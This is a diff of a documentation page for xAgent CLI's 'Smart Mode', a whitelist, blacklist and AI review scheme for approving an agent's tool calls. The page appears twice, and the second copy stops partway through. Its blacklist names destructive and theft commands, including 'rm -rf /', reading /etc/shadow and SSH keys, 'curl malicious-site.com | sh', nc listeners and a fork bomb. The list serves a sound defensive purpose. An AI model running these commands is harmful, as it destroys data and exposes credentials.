- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd +0 -1676
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd +0 -28
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd +0 -144
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd +0 -174
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd +0 -25
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd +0 -18
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd +0 -59
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd +0 -56
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd +0 -195
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd +0 -582
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd +0 -25
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd +0 -4439
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd +0 -570
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd +0 -509
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd +0 -12
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd +0 -108
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd +0 -96
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd +0 -3646
- package/skills/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd +0 -116
- package/skills/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd +0 -42
- package/skills/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd +0 -50
- package/skills/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd +0 -49
- package/skills/skills/pptx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd +0 -33
- package/skills/skills/pptx/ooxml/schemas/mce/mc.xsd +0 -75
- package/skills/skills/pptx/ooxml/schemas/microsoft/wml-2010.xsd +0 -560
- package/skills/skills/pptx/ooxml/schemas/microsoft/wml-2012.xsd +0 -67
- package/skills/skills/pptx/ooxml/schemas/microsoft/wml-2018.xsd +0 -14
- package/skills/skills/pptx/ooxml/schemas/microsoft/wml-cex-2018.xsd +0 -20
- package/skills/skills/pptx/ooxml/schemas/microsoft/wml-cid-2016.xsd +0 -13
- package/skills/skills/pptx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd +0 -4
- package/skills/skills/pptx/ooxml/schemas/microsoft/wml-symex-2015.xsd +0 -8
- package/skills/skills/pptx/ooxml/scripts/pack.py +0 -159
- package/skills/skills/pptx/ooxml/scripts/unpack.py +0 -29
- package/skills/skills/pptx/ooxml/scripts/validate.py +0 -69
- package/skills/skills/pptx/ooxml/scripts/validation/__init__.py +0 -15
- package/skills/skills/pptx/ooxml/scripts/validation/base.py +0 -951
- package/skills/skills/pptx/ooxml/scripts/validation/docx.py +0 -274
- package/skills/skills/pptx/ooxml/scripts/validation/pptx.py +0 -315
- package/skills/skills/pptx/ooxml/scripts/validation/redlining.py +0 -279
- package/skills/skills/pptx/ooxml.md +0 -427
- package/skills/skills/pptx/scripts/html2pptx.js +0 -979
- package/skills/skills/pptx/scripts/inventory.py +0 -1020
- package/skills/skills/pptx/scripts/rearrange.py +0 -231
- package/skills/skills/pptx/scripts/replace.py +0 -385
- package/skills/skills/pptx/scripts/thumbnail.py +0 -450
- package/skills/skills/skill-creator/LICENSE.txt +0 -202
- package/skills/skills/skill-creator/SKILL.md +0 -356
- package/skills/skills/skill-creator/references/output-patterns.md +0 -82
- package/skills/skills/skill-creator/references/workflows.md +0 -28
- package/skills/skills/skill-creator/scripts/init_skill.py +0 -303
- package/skills/skills/skill-creator/scripts/package_skill.py +0 -110
- package/skills/skills/skill-creator/scripts/quick_validate.py +0 -95
- package/skills/skills/slack-gif-creator/LICENSE.txt +0 -202
- package/skills/skills/slack-gif-creator/SKILL.md +0 -254
- package/skills/skills/slack-gif-creator/core/easing.py +0 -234
- package/skills/skills/slack-gif-creator/core/frame_composer.py +0 -176
- package/skills/skills/slack-gif-creator/core/gif_builder.py +0 -269
- package/skills/skills/slack-gif-creator/core/validators.py +0 -136
- package/skills/skills/slack-gif-creator/requirements.txt +0 -4
- package/skills/skills/theme-factory/LICENSE.txt +0 -202
- package/skills/skills/theme-factory/SKILL.md +0 -59
- package/skills/skills/theme-factory/theme-showcase.pdf +0 -0
- package/skills/skills/theme-factory/themes/arctic-frost.md +0 -19
- package/skills/skills/theme-factory/themes/botanical-garden.md +0 -19
- package/skills/skills/theme-factory/themes/desert-rose.md +0 -19
- package/skills/skills/theme-factory/themes/forest-canopy.md +0 -19
- package/skills/skills/theme-factory/themes/golden-hour.md +0 -19
- package/skills/skills/theme-factory/themes/midnight-galaxy.md +0 -19
- package/skills/skills/theme-factory/themes/modern-minimalist.md +0 -19
- package/skills/skills/theme-factory/themes/ocean-depths.md +0 -19
- package/skills/skills/theme-factory/themes/sunset-boulevard.md +0 -19
- package/skills/skills/theme-factory/themes/tech-innovation.md +0 -19
- package/skills/skills/web-artifacts-builder/LICENSE.txt +0 -202
- package/skills/skills/web-artifacts-builder/SKILL.md +0 -74
- package/skills/skills/web-artifacts-builder/scripts/bundle-artifact.sh +0 -54
- package/skills/skills/web-artifacts-builder/scripts/init-artifact.sh +0 -322
- package/skills/skills/webapp-testing/LICENSE.txt +0 -202
- package/skills/skills/webapp-testing/SKILL.md +0 -96
- package/skills/skills/webapp-testing/examples/console_logging.py +0 -35
- package/skills/skills/webapp-testing/examples/element_discovery.py +0 -40
- package/skills/skills/webapp-testing/examples/static_html_automation.py +0 -33
- package/skills/skills/webapp-testing/scripts/with_server.py +0 -106
- package/skills/skills/xlsx/LICENSE.txt +0 -30
- package/skills/skills/xlsx/SKILL.md +0 -289
- package/skills/skills/xlsx/recalc.py +0 -178
- package/skills/spec/agent-skills-spec.md +0 -3
- package/skills/template/SKILL.md +0 -6
- package/src/ai-client.ts +0 -1560
- package/src/remote-ai-client.ts +0 -664
- /package/{.eslintrc.js → .eslintrc.cjs} +0 -0
package/docs/smart-mode.md
CHANGED
|
@@ -1,281 +1,281 @@
|
|
|
1
|
-
# Smart Mode - Intelligent Approval System
|
|
2
|
-
|
|
3
|
-
## Overview
|
|
4
|
-
|
|
5
|
-
Smart Mode is a new security approval feature introduced in xAgent CLI 1.0.0. It provides intelligent security protection through a three-layer progressive approval architecture while ensuring development efficiency.
|
|
6
|
-
|
|
7
|
-
## Three-Layer Approval Architecture
|
|
8
|
-
|
|
9
|
-
Smart Mode uses a progressive approval process, with each layer having specific responsibilities:
|
|
10
|
-
|
|
11
|
-
```
|
|
12
|
-
User Request → Whitelist Check → Blacklist Check → AI Review → Execution Decision
|
|
13
|
-
↓ ↓ ↓ ↓ ↓
|
|
14
|
-
Safe Pass Directly Risk Detection AI Analysis User Confirm/Auto Execute
|
|
15
|
-
```
|
|
16
|
-
|
|
17
|
-
### Layer 1: Whitelist Check
|
|
18
|
-
|
|
19
|
-
- **Purpose**: Quickly identify and pass verified safe tools
|
|
20
|
-
- **Mechanism**: Maintain a predefined list of safe tools
|
|
21
|
-
- **Result**: Whitelisted tools execute directly without further review
|
|
22
|
-
- **Advantage**: Zero latency, improving efficiency for common operations
|
|
23
|
-
|
|
24
|
-
**Whitelisted Tools**:
|
|
25
|
-
|
|
26
|
-
Information Reading Tools:
|
|
27
|
-
- `Read`
|
|
28
|
-
- `ListDirectory`
|
|
29
|
-
- `SearchCodebase`
|
|
30
|
-
- `Grep`
|
|
31
|
-
- `image_read`
|
|
32
|
-
|
|
33
|
-
Task Management Tools:
|
|
34
|
-
- `todo_write`
|
|
35
|
-
- `todo_read`
|
|
36
|
-
- `task`
|
|
37
|
-
- `exit_plan_mode`
|
|
38
|
-
- `web_search`
|
|
39
|
-
|
|
40
|
-
File Editing Tools:
|
|
41
|
-
- `replace`
|
|
42
|
-
- `Write`
|
|
43
|
-
|
|
44
|
-
Other Safe Tools:
|
|
45
|
-
- `web_fetch`
|
|
46
|
-
- `ask_user_question`
|
|
47
|
-
- `save_memory`
|
|
48
|
-
- `xml_escape`
|
|
49
|
-
- `InvokeSkill`
|
|
50
|
-
|
|
51
|
-
### Layer 2: Blacklist Check
|
|
52
|
-
|
|
53
|
-
Rule-based detection of high-risk operations, covering the following main risk categories:
|
|
54
|
-
|
|
55
|
-
**System Destruction**:
|
|
56
|
-
- Delete root directory: `rm -rf /`
|
|
57
|
-
- Delete system directories: delete `/etc`, `/usr`, `/bin`
|
|
58
|
-
- Batch delete files: wildcard-based batch deletion
|
|
59
|
-
- Format disk: `mkfs`, `format`
|
|
60
|
-
- Overwrite disk data: `dd`
|
|
61
|
-
|
|
62
|
-
**Privilege Escalation**:
|
|
63
|
-
- Modify sudo permissions: modify `/etc/sudoers`
|
|
64
|
-
- Set SUID permissions: set special permissions for programs
|
|
65
|
-
- Modify file permissions to 777: set file to rwx for all users
|
|
66
|
-
- Disable security modules: disable SELinux, firewall, Windows Defender, etc.
|
|
67
|
-
|
|
68
|
-
**Data Theft**:
|
|
69
|
-
- Read password files: access `/etc/passwd`, `/etc/shadow`
|
|
70
|
-
- Read SSH keys: access `~/.ssh/id_rsa`
|
|
71
|
-
- Search for password information: search for password-related info in system
|
|
72
|
-
- Upload files to external: use `curl`, `wget`
|
|
73
|
-
- Remote code execution: `curl malicious-site.com | sh`
|
|
74
|
-
|
|
75
|
-
**Network Attacks**:
|
|
76
|
-
- Network scanning: `nmap`
|
|
77
|
-
- Create network listener: `nc -l`
|
|
78
|
-
- Clear firewall rules: `iptables -F`
|
|
79
|
-
|
|
80
|
-
**Resource Exhaustion**:
|
|
81
|
-
- Fork bomb: `:() { :|:& };:`
|
|
82
|
-
- Infinite loop: `while true; do ... done`
|
|
83
|
-
|
|
84
|
-
### Layer 3: AI Intelligent Review
|
|
85
|
-
|
|
86
|
-
When tool calls don't match whitelist or blacklist, they enter AI intelligent review. The AI reviewer analyzes the following dimensions:
|
|
87
|
-
|
|
88
|
-
1. Whether the operation has malicious intent
|
|
89
|
-
2. Whether it may cause data leakage
|
|
90
|
-
3. Whether it may compromise system integrity
|
|
91
|
-
4. Whether it follows best practices
|
|
92
|
-
|
|
93
|
-
## Usage
|
|
94
|
-
|
|
95
|
-
### Enable via Command Line
|
|
96
|
-
|
|
97
|
-
```bash
|
|
98
|
-
xagent start --approval-mode smart
|
|
99
|
-
```
|
|
100
|
-
|
|
101
|
-
### Enable via Configuration File
|
|
102
|
-
|
|
103
|
-
Add to `.xagent/settings.json`:
|
|
104
|
-
|
|
105
|
-
```json
|
|
106
|
-
{
|
|
107
|
-
"approvalMode": "smart"
|
|
108
|
-
}
|
|
109
|
-
```
|
|
110
|
-
|
|
111
|
-
### Switch at Runtime
|
|
112
|
-
|
|
113
|
-
Use slash command in xAgent CLI session:
|
|
114
|
-
|
|
115
|
-
```bash
|
|
116
|
-
/mode smart
|
|
117
|
-
```
|
|
118
|
-
|
|
119
|
-
View all available modes:
|
|
120
|
-
|
|
121
|
-
```bash
|
|
122
|
-
/mode
|
|
123
|
-
```
|
|
124
|
-
|
|
125
|
-
## User Experience
|
|
126
|
-
|
|
127
|
-
### Safe Operations (Whitelist)
|
|
128
|
-
|
|
129
|
-
```
|
|
130
|
-
> Read project configuration file
|
|
131
|
-
✅ [Smart Mode] Tool 'Read' passed whitelist check, executing directly
|
|
132
|
-
Detection: Whitelist
|
|
133
|
-
Latency: 1ms
|
|
134
|
-
```
|
|
135
|
-
|
|
136
|
-
### Risky Operations (Blacklist Triggered)
|
|
137
|
-
|
|
138
|
-
```
|
|
139
|
-
> Delete temporary files
|
|
140
|
-
🟠 [Smart Mode] Detected potentially risky operation
|
|
141
|
-
📊 Risk Level: HIGH
|
|
142
|
-
🔍 Detection: Blacklist Rules
|
|
143
|
-
⚠️ Description: Detected system file deletion command
|
|
144
|
-
Potential risk detected, continue execution?
|
|
145
|
-
[y] Yes [n] No
|
|
146
|
-
```
|
|
147
|
-
|
|
148
|
-
### AI Review Scenario
|
|
149
|
-
|
|
150
|
-
```
|
|
151
|
-
> Batch process user data
|
|
152
|
-
🟡 [Smart Mode] AI review detected medium risk
|
|
153
|
-
📊 Risk Level: MEDIUM
|
|
154
|
-
🔍 Detection: AI Intelligent Review
|
|
155
|
-
🤖 AI Analysis: Batch data operation may affect user privacy, confirm data processing scope
|
|
156
|
-
Potential risk detected, continue execution?
|
|
157
|
-
[y] Yes [n] No
|
|
158
|
-
```
|
|
159
|
-
|
|
160
|
-
## Performance Characteristics
|
|
161
|
-
|
|
162
|
-
- **Whitelist Check**: < 1ms, memory lookup
|
|
163
|
-
- **Blacklist Check**: < 50ms, regex matching
|
|
164
|
-
- **AI Review**: < 5s
|
|
165
|
-
|
|
166
|
-
## Debug Mode
|
|
167
|
-
|
|
168
|
-
Enable debug mode to view detailed approval process:
|
|
169
|
-
|
|
170
|
-
```bash
|
|
171
|
-
DEBUG=smart-approval xagent start --approval-mode smart
|
|
172
|
-
```
|
|
173
|
-
|
|
174
|
-
Example Output:
|
|
175
|
-
|
|
176
|
-
```
|
|
177
|
-
[SmartApprovalEngine] Evaluating tool call: run_shell_command
|
|
178
|
-
[WhitelistChecker] Tool 'run_shell_command' not in whitelist
|
|
179
|
-
[BlacklistChecker] Checking command: rm -rf /tmp/cache
|
|
180
|
-
[BlacklistChecker] Matched rule: System File Deletion, Risk: HIGH
|
|
181
|
-
[SmartApprovalEngine] Decision: RISKY, Layer: blacklist, Latency: 23ms
|
|
182
|
-
```
|
|
183
|
-
|
|
184
|
-
## FAQ
|
|
185
|
-
|
|
186
|
-
### Q: Smart Mode approval is too strict, affecting development efficiency?
|
|
187
|
-
|
|
188
|
-
A: Smart Mode's whitelist already includes most commonly used safe tools. If you encounter frequent false positives:
|
|
189
|
-
|
|
190
|
-
- Check if you're using tool aliases not in the whitelist
|
|
191
|
-
- Review specific blacklist rules for being too strict
|
|
192
|
-
- Consider temporarily switching to other approval modes in development environment
|
|
193
|
-
|
|
194
|
-
### Q: AI review often times out?
|
|
195
|
-
|
|
196
|
-
A: AI review depends on network connection. If timeouts occur frequently:
|
|
197
|
-
|
|
198
|
-
- Check network connection status
|
|
199
|
-
- Confirm login status (requires aone or xAgent account)
|
|
200
|
-
- Consider disabling AI review when network is unstable
|
|
201
|
-
|
|
202
|
-
### Q: How to view approval statistics?
|
|
203
|
-
|
|
204
|
-
A: Use debug mode to view detailed logs:
|
|
205
|
-
|
|
206
|
-
```bash
|
|
207
|
-
DEBUG=smart-approval xagent start --approval-mode smart
|
|
208
|
-
```
|
|
209
|
-
|
|
210
|
-
## Implementation Details
|
|
211
|
-
|
|
212
|
-
### Core Files
|
|
213
|
-
|
|
214
|
-
- `src/smart-approval.ts` - Smart approval engine core implementation
|
|
215
|
-
- `src/tools.ts` - Tool execution logic, integrated with smart approval
|
|
216
|
-
- `src/config.ts` - Configuration management, added approvalMode support
|
|
217
|
-
- `src/cli.ts` - Command line arguments, added --approval-mode option
|
|
218
|
-
- `src/session.ts` - Session management, supports smart mode
|
|
219
|
-
- `src/slash-commands.ts` - Slash commands, added /mode smart support
|
|
220
|
-
- `src/remote-ai-client.ts` - Remote AI client (remote mode support)
|
|
221
|
-
|
|
222
|
-
### Main Classes
|
|
223
|
-
|
|
224
|
-
- `SmartApprovalEngine` - Smart approval engine main class
|
|
225
|
-
- `WhitelistChecker` - Whitelist checker
|
|
226
|
-
- `BlacklistChecker` - Blacklist checker
|
|
227
|
-
- `AIApprovalChecker` - AI approval checker
|
|
228
|
-
|
|
229
|
-
### Remote Mode Support
|
|
230
|
-
|
|
231
|
-
Smart Mode has different behaviors in remote mode (OAuth authentication):
|
|
232
|
-
|
|
233
|
-
1. **Local Mode** (API Key Authentication):
|
|
234
|
-
- All three layers of approval execute locally
|
|
235
|
-
- Whitelisted tools pass directly
|
|
236
|
-
- Blacklisted tools require user confirmation
|
|
237
|
-
- Unknown tools are reviewed by local AI
|
|
238
|
-
|
|
239
|
-
2. **Remote Mode** (OAuth Authentication):
|
|
240
|
-
- Tools are synchronized to remote server
|
|
241
|
-
- Remote LLM is responsible for tool approval
|
|
242
|
-
- Local AIApprovalChecker approves directly
|
|
243
|
-
- Tool execution results sync back to local
|
|
244
|
-
|
|
245
|
-
### Type Definitions
|
|
246
|
-
|
|
247
|
-
```typescript
|
|
248
|
-
export enum ApprovalDecision {
|
|
249
|
-
APPROVED = 'approved',
|
|
250
|
-
REJECTED = 'rejected',
|
|
251
|
-
REQUIRES_CONFIRMATION = 'requires_confirmation',
|
|
252
|
-
AI_REVIEW = 'ai_review'
|
|
253
|
-
}
|
|
254
|
-
|
|
255
|
-
export enum RiskLevel {
|
|
256
|
-
LOW = 'LOW',
|
|
257
|
-
MEDIUM = 'MEDIUM',
|
|
258
|
-
HIGH = 'HIGH',
|
|
259
|
-
CRITICAL = 'CRITICAL'
|
|
260
|
-
}
|
|
261
|
-
|
|
262
|
-
export interface ApprovalResult {
|
|
263
|
-
decision: ApprovalDecision;
|
|
264
|
-
riskLevel: RiskLevel;
|
|
265
|
-
detectionMethod: 'whitelist' | 'blacklist' | 'ai_review' | 'manual';
|
|
266
|
-
description: string;
|
|
267
|
-
latency: number;
|
|
268
|
-
aiAnalysis?: string;
|
|
269
|
-
}
|
|
270
|
-
|
|
271
|
-
export interface ToolCallContext {
|
|
272
|
-
toolName: string;
|
|
273
|
-
params: any;
|
|
274
|
-
timestamp: number;
|
|
275
|
-
}
|
|
276
|
-
```
|
|
277
|
-
|
|
278
|
-
## Related Links
|
|
279
|
-
- [xAgent CLI GitHub](https://github.com/xagent-ai/xagent)
|
|
280
|
-
- [Architecture Overview](./docs/architecture/overview.md)
|
|
281
|
-
- [Tool System Design](./docs/architecture/tool-system-design.md)
|
|
1
|
+
# Smart Mode - Intelligent Approval System
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
Smart Mode is a new security approval feature introduced in xAgent CLI 1.0.0. It provides intelligent security protection through a three-layer progressive approval architecture while ensuring development efficiency.
|
|
6
|
+
|
|
7
|
+
## Three-Layer Approval Architecture
|
|
8
|
+
|
|
9
|
+
Smart Mode uses a progressive approval process, with each layer having specific responsibilities:
|
|
10
|
+
|
|
11
|
+
```
|
|
12
|
+
User Request → Whitelist Check → Blacklist Check → AI Review → Execution Decision
|
|
13
|
+
↓ ↓ ↓ ↓ ↓
|
|
14
|
+
Safe Pass Directly Risk Detection AI Analysis User Confirm/Auto Execute
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
### Layer 1: Whitelist Check
|
|
18
|
+
|
|
19
|
+
- **Purpose**: Quickly identify and pass verified safe tools
|
|
20
|
+
- **Mechanism**: Maintain a predefined list of safe tools
|
|
21
|
+
- **Result**: Whitelisted tools execute directly without further review
|
|
22
|
+
- **Advantage**: Zero latency, improving efficiency for common operations
|
|
23
|
+
|
|
24
|
+
**Whitelisted Tools**:
|
|
25
|
+
|
|
26
|
+
Information Reading Tools:
|
|
27
|
+
- `Read`
|
|
28
|
+
- `ListDirectory`
|
|
29
|
+
- `SearchCodebase`
|
|
30
|
+
- `Grep`
|
|
31
|
+
- `image_read`
|
|
32
|
+
|
|
33
|
+
Task Management Tools:
|
|
34
|
+
- `todo_write`
|
|
35
|
+
- `todo_read`
|
|
36
|
+
- `task`
|
|
37
|
+
- `exit_plan_mode`
|
|
38
|
+
- `web_search`
|
|
39
|
+
|
|
40
|
+
File Editing Tools:
|
|
41
|
+
- `replace`
|
|
42
|
+
- `Write`
|
|
43
|
+
|
|
44
|
+
Other Safe Tools:
|
|
45
|
+
- `web_fetch`
|
|
46
|
+
- `ask_user_question`
|
|
47
|
+
- `save_memory`
|
|
48
|
+
- `xml_escape`
|
|
49
|
+
- `InvokeSkill`
|
|
50
|
+
|
|
51
|
+
### Layer 2: Blacklist Check
|
|
52
|
+
|
|
53
|
+
Rule-based detection of high-risk operations, covering the following main risk categories:
|
|
54
|
+
|
|
55
|
+
**System Destruction**:
|
|
56
|
+
- Delete root directory: `rm -rf /`
|
|
57
|
+
- Delete system directories: delete `/etc`, `/usr`, `/bin`
|
|
58
|
+
- Batch delete files: wildcard-based batch deletion
|
|
59
|
+
- Format disk: `mkfs`, `format`
|
|
60
|
+
- Overwrite disk data: `dd`
|
|
61
|
+
|
|
62
|
+
**Privilege Escalation**:
|
|
63
|
+
- Modify sudo permissions: modify `/etc/sudoers`
|
|
64
|
+
- Set SUID permissions: set special permissions for programs
|
|
65
|
+
- Modify file permissions to 777: set file to rwx for all users
|
|
66
|
+
- Disable security modules: disable SELinux, firewall, Windows Defender, etc.
|
|
67
|
+
|
|
68
|
+
**Data Theft**:
|
|
69
|
+
- Read password files: access `/etc/passwd`, `/etc/shadow`
|
|
70
|
+
- Read SSH keys: access `~/.ssh/id_rsa`
|
|
71
|
+
- Search for password information: search for password-related info in system
|
|
72
|
+
- Upload files to external: use `curl`, `wget`
|
|
73
|
+
- Remote code execution: `curl malicious-site.com | sh`
|
|
74
|
+
|
|
75
|
+
**Network Attacks**:
|
|
76
|
+
- Network scanning: `nmap`
|
|
77
|
+
- Create network listener: `nc -l`
|
|
78
|
+
- Clear firewall rules: `iptables -F`
|
|
79
|
+
|
|
80
|
+
**Resource Exhaustion**:
|
|
81
|
+
- Fork bomb: `:() { :|:& };:`
|
|
82
|
+
- Infinite loop: `while true; do ... done`
|
|
83
|
+
|
|
84
|
+
### Layer 3: AI Intelligent Review
|
|
85
|
+
|
|
86
|
+
When tool calls don't match whitelist or blacklist, they enter AI intelligent review. The AI reviewer analyzes the following dimensions:
|
|
87
|
+
|
|
88
|
+
1. Whether the operation has malicious intent
|
|
89
|
+
2. Whether it may cause data leakage
|
|
90
|
+
3. Whether it may compromise system integrity
|
|
91
|
+
4. Whether it follows best practices
|
|
92
|
+
|
|
93
|
+
## Usage
|
|
94
|
+
|
|
95
|
+
### Enable via Command Line
|
|
96
|
+
|
|
97
|
+
```bash
|
|
98
|
+
xagent start --approval-mode smart
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### Enable via Configuration File
|
|
102
|
+
|
|
103
|
+
Add to `.xagent/settings.json`:
|
|
104
|
+
|
|
105
|
+
```json
|
|
106
|
+
{
|
|
107
|
+
"approvalMode": "smart"
|
|
108
|
+
}
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
### Switch at Runtime
|
|
112
|
+
|
|
113
|
+
Use slash command in xAgent CLI session:
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
/mode smart
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
View all available modes:
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
/mode
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
## User Experience
|
|
126
|
+
|
|
127
|
+
### Safe Operations (Whitelist)
|
|
128
|
+
|
|
129
|
+
```
|
|
130
|
+
> Read project configuration file
|
|
131
|
+
✅ [Smart Mode] Tool 'Read' passed whitelist check, executing directly
|
|
132
|
+
Detection: Whitelist
|
|
133
|
+
Latency: 1ms
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### Risky Operations (Blacklist Triggered)
|
|
137
|
+
|
|
138
|
+
```
|
|
139
|
+
> Delete temporary files
|
|
140
|
+
🟠 [Smart Mode] Detected potentially risky operation
|
|
141
|
+
📊 Risk Level: HIGH
|
|
142
|
+
🔍 Detection: Blacklist Rules
|
|
143
|
+
⚠️ Description: Detected system file deletion command
|
|
144
|
+
Potential risk detected, continue execution?
|
|
145
|
+
[y] Yes [n] No
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
### AI Review Scenario
|
|
149
|
+
|
|
150
|
+
```
|
|
151
|
+
> Batch process user data
|
|
152
|
+
🟡 [Smart Mode] AI review detected medium risk
|
|
153
|
+
📊 Risk Level: MEDIUM
|
|
154
|
+
🔍 Detection: AI Intelligent Review
|
|
155
|
+
🤖 AI Analysis: Batch data operation may affect user privacy, confirm data processing scope
|
|
156
|
+
Potential risk detected, continue execution?
|
|
157
|
+
[y] Yes [n] No
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
## Performance Characteristics
|
|
161
|
+
|
|
162
|
+
- **Whitelist Check**: < 1ms, memory lookup
|
|
163
|
+
- **Blacklist Check**: < 50ms, regex matching
|
|
164
|
+
- **AI Review**: < 5s
|
|
165
|
+
|
|
166
|
+
## Debug Mode
|
|
167
|
+
|
|
168
|
+
Enable debug mode to view detailed approval process:
|
|
169
|
+
|
|
170
|
+
```bash
|
|
171
|
+
DEBUG=smart-approval xagent start --approval-mode smart
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
Example Output:
|
|
175
|
+
|
|
176
|
+
```
|
|
177
|
+
[SmartApprovalEngine] Evaluating tool call: run_shell_command
|
|
178
|
+
[WhitelistChecker] Tool 'run_shell_command' not in whitelist
|
|
179
|
+
[BlacklistChecker] Checking command: rm -rf /tmp/cache
|
|
180
|
+
[BlacklistChecker] Matched rule: System File Deletion, Risk: HIGH
|
|
181
|
+
[SmartApprovalEngine] Decision: RISKY, Layer: blacklist, Latency: 23ms
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
## FAQ
|
|
185
|
+
|
|
186
|
+
### Q: Smart Mode approval is too strict, affecting development efficiency?
|
|
187
|
+
|
|
188
|
+
A: Smart Mode's whitelist already includes most commonly used safe tools. If you encounter frequent false positives:
|
|
189
|
+
|
|
190
|
+
- Check if you're using tool aliases not in the whitelist
|
|
191
|
+
- Review specific blacklist rules for being too strict
|
|
192
|
+
- Consider temporarily switching to other approval modes in development environment
|
|
193
|
+
|
|
194
|
+
### Q: AI review often times out?
|
|
195
|
+
|
|
196
|
+
A: AI review depends on network connection. If timeouts occur frequently:
|
|
197
|
+
|
|
198
|
+
- Check network connection status
|
|
199
|
+
- Confirm login status (requires aone or xAgent account)
|
|
200
|
+
- Consider disabling AI review when network is unstable
|
|
201
|
+
|
|
202
|
+
### Q: How to view approval statistics?
|
|
203
|
+
|
|
204
|
+
A: Use debug mode to view detailed logs:
|
|
205
|
+
|
|
206
|
+
```bash
|
|
207
|
+
DEBUG=smart-approval xagent start --approval-mode smart
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
## Implementation Details
|
|
211
|
+
|
|
212
|
+
### Core Files
|
|
213
|
+
|
|
214
|
+
- `src/smart-approval.ts` - Smart approval engine core implementation
|
|
215
|
+
- `src/tools.ts` - Tool execution logic, integrated with smart approval
|
|
216
|
+
- `src/config.ts` - Configuration management, added approvalMode support
|
|
217
|
+
- `src/cli.ts` - Command line arguments, added --approval-mode option
|
|
218
|
+
- `src/session.ts` - Session management, supports smart mode
|
|
219
|
+
- `src/slash-commands.ts` - Slash commands, added /mode smart support
|
|
220
|
+
- `src/remote-ai-client.ts` - Remote AI client (remote mode support)
|
|
221
|
+
|
|
222
|
+
### Main Classes
|
|
223
|
+
|
|
224
|
+
- `SmartApprovalEngine` - Smart approval engine main class
|
|
225
|
+
- `WhitelistChecker` - Whitelist checker
|
|
226
|
+
- `BlacklistChecker` - Blacklist checker
|
|
227
|
+
- `AIApprovalChecker` - AI approval checker
|
|
228
|
+
|
|
229
|
+
### Remote Mode Support
|
|
230
|
+
|
|
231
|
+
Smart Mode has different behaviors in remote mode (OAuth authentication):
|
|
232
|
+
|
|
233
|
+
1. **Local Mode** (API Key Authentication):
|
|
234
|
+
- All three layers of approval execute locally
|
|
235
|
+
- Whitelisted tools pass directly
|
|
236
|
+
- Blacklisted tools require user confirmation
|
|
237
|
+
- Unknown tools are reviewed by local AI
|
|
238
|
+
|
|
239
|
+
2. **Remote Mode** (OAuth Authentication):
|
|
240
|
+
- Tools are synchronized to remote server
|
|
241
|
+
- Remote LLM is responsible for tool approval
|
|
242
|
+
- Local AIApprovalChecker approves directly
|
|
243
|
+
- Tool execution results sync back to local
|
|
244
|
+
|
|
245
|
+
### Type Definitions
|
|
246
|
+
|
|
247
|
+
```typescript
|
|
248
|
+
export enum ApprovalDecision {
|
|
249
|
+
APPROVED = 'approved',
|
|
250
|
+
REJECTED = 'rejected',
|
|
251
|
+
REQUIRES_CONFIRMATION = 'requires_confirmation',
|
|
252
|
+
AI_REVIEW = 'ai_review'
|
|
253
|
+
}
|
|
254
|
+
|
|
255
|
+
export enum RiskLevel {
|
|
256
|
+
LOW = 'LOW',
|
|
257
|
+
MEDIUM = 'MEDIUM',
|
|
258
|
+
HIGH = 'HIGH',
|
|
259
|
+
CRITICAL = 'CRITICAL'
|
|
260
|
+
}
|
|
261
|
+
|
|
262
|
+
export interface ApprovalResult {
|
|
263
|
+
decision: ApprovalDecision;
|
|
264
|
+
riskLevel: RiskLevel;
|
|
265
|
+
detectionMethod: 'whitelist' | 'blacklist' | 'ai_review' | 'manual';
|
|
266
|
+
description: string;
|
|
267
|
+
latency: number;
|
|
268
|
+
aiAnalysis?: string;
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
export interface ToolCallContext {
|
|
272
|
+
toolName: string;
|
|
273
|
+
